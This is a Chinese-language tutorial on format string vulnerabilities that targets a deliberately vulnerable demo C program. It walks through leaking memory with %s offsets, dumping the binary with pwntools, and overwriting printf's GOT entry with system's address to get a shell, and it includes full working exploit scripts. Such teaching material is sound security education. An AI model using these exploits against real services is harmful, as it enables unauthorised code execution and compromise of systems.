格式化字符串漏洞利用(二)

格式化字符串中危害最大的两点,一是leak memory,二是可以在内存中写入数据,简单来说就是格式化字符串可以进行内存的任意读写。

0x 1 Leak Memory

先对一个简单的Demo进行研究:

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
int main(int argc, char * argv[])
{
char a[1024];
memset(a, '\0', 1024);
read(0, a, 1024);
printf(a);
return 0;
}
// $ gcc test.c -o test -m32
// $ socat TCP-LISTEN:5555,fork EXEC:./test

假设我们不知道该程序的原码,连bin都没有,只是能访问这样的一个应用:

1

在这种情况下,就是去尝试各种漏洞的攻击方法,比如栈溢出漏洞就是输入一堆字符,比如100*a,而格式化字符串漏洞是使用“%x”这类格式化字符串去尝试,比如:

2

得到了这样的返回就说明该程序存在格式化字符串漏洞,因为没有源码或bin,并不知道要往哪里写数据,所以我们可以先leak memory,获取程序的源码

leak memory利用到的是%s格式化字符,它的作用是输出对应参数指向地址的值,也就是说它对应的参数是一个指针,而我们可以得到该指针对应的内存数据

我们还可以继续改进该格式化字符串,%2$s,它表示的意义是输出第二个参数指向的内存的值。

那么我们怎么通过上面的格式化字符串获取我们想要的内存地址呢?这就涉及到第三个知识点。

格式化字符串漏洞是怎么产生的?首先要有一个函数,比如read,比如gets获取用户输入的数据存储到局部变量中,然后直接把该变量作为printf这类函数的第一个参数值。

其中局部变量是储存在栈中的,而且是存储在栈的高位地址上,这里具体的细节可以去读读汇编代码,简单的说,进入到一个函数中后,会sub rsp,xxx一段局部变量的栈空间,然后函数的参数啥的都是push到局部变量的栈空间之上。

理解了上述的知识点后,我们可以输入想leak数据的内存地址,然后爆破出我们输入数据的位置,不就能leak相应地址的内存数据了么。

比如我们输入AAAA%2$x,如果输出AAAA十六进制数,则说明第二个参数为我们输入的数据的起始位置。

3

这样我们得到的payload:addr+%7$x,返回值为addr指向的内存的字符串,知道\0为止。

这里我们可以进行测试下(我们现在是处于研究状态,虽然假想没bin,但实际我们是有的,所以可以进行测试来证明我们的结论)

$ objdump -d test -M intel

4

从上面的测试代码中可以证明上述所讲的结论,我们成功leak出相应内存的数据(知道\x00为止)

上面爆破出来的7我们成为offset,pwntools有自动化代码可以计算出offset:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
#context.log_level = 'debug'
def getoffset(payload):
p = process("./test")
p.sendline(payload)
info = p.recv()
p.close()
return info
autofmt = FmtStr(getoffset)
print autofmt.offset

5

测试完了,现在又恢复到没有bin状态,有了前面的基础,要dump出整个bin就很容易了。

在Linux下,不开启PIE保护时,32位的PIE的默认值首地址为0x8048000,如果开启了PIE保护,则需要根据ELF的魔术头7f 45 4c 46进行爆破,内存地址一页一页的往前翻知道翻到ELF的魔术头为止:

测试的代码如下:

1
2
3
4
5
6
from pwn import *
context.log_level = 'debug'
p = remote("127.0.0.1",5555)
p.send("%10$saaaaaaa" + p32(0x8048000))
print p.recv()

可以成功dump数据了:

6

原理都懂了,可以写payload去dump整个bin回来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
#context.log_level = 'debug'
f = open("source.bin", "ab+")
begin = 0x8048000
offset = 0
while True:
addr = begin + offset
p = process("./test")
p.sendline("%10$saaaaaaa" + p32(addr))
try:
info = p.recvuntil("aaaaaaa")[:-7]
except EOFError:
print offset
break
info += "\x00"
p.close()
offset += len(info)
f.write(info)
f.flush()
f.close()

内存dump下来后,虽然跟原始bin有很大不同,也运行不了,但是丢到IDA中任然是可以看到的:

7

0x2 Write

二进制漏洞的最终目的都是要getshell,所以在我们获取bin后,接下来就是要getshell了

不过之前的demo过于简单,没有什么好的getshell的方法,对demo进行下修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
int main(int argc, char * argv[])
{
char a[1024];
while(1)
{
memset(a, '\0', 1024);
read(0, a, 1024);
printf(a);
fflush(stdout);
}
return 0;
}

和之前的demo比,多了循环,不像之前一样一下就退出了。

在这样情况下,我们可以很容易只依靠格式化字符串漏洞进行攻击,利用的逻辑很简单,根据之前的知识点,leak出bin,然后获取到printf函数的got表地址,然后把这个地址的值改为system函数的地址,在下次循环的时候,输入/bin/sh,则printf(a);实际执行的却是system('/bin/sh')

利用过程中,第一个知识点:dump没存的数据,也就是上面的内容,得到bin后,可以很容易的获取到got表信息,

接下来第二个知识点就是获取system函数的地址,不过却需要爆破跑,每次首先获取printfsystem函数之间的差值估测一个大概范围进行爆破,得到的数据和system函数中的一些特征数据变化对比,判断是否是system函数。

最后一步就是通过格式化字符串内容进行写内存了,覆盖got表中的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = 'debug'
printf_got = 0x804a010
system_add = 0xaaaaaaaa
def exec_fmt(payload):
p.sendline(payload)
return p.recv()
p=process("./test2")
#p = remote("127.0.0.1", 10001)
autofmt = FmtStr(exec_fmt)
payload = fmtstr_payload(autofmt.offset, {printf_got: system_add})
print payload

上述代码中autofmt = FmtStr(exec_fmt)这行的内容之前都提到过,接下来就是fmtstr_payload()函数,这个函数的作用是用来生成格式化字符串漏洞写内存的的payload。第一个参数为offset偏移,第二个参数是一个字典,意义是往key的地址写入value的值,也就是往0x804a010地址写入数据0xaaaaaaaa。我们可以看下输出的payload:

最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
#context.log_level = 'debug'
#p = remote("127.0.0.1", 10001)
p=process("./test2")
# get printf libc addr
printf_got = 0x0804a010
leak_payload = "bb%9$saa" + p32(printf_got)
p.sendline(leak_payload)
p.recvuntil("bb")
info = p.recvuntil("aa")[:-2]
print info.encode('hex')
# get system libc addr
print_addr = u32(info[:4])
print "print_addr:"+hex(print_addr)
#p_s_offset = 53479 # addr(printf) - addr(system)
printf_offset=0x4D280
system_offset=0x40190
system_addr = print_addr - printf_offset + system_offset
print "systen_addr:"+hex(system_addr)
# get payload
payload = fmtstr_payload(7, {printf_got: system_addr})
# send payload
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()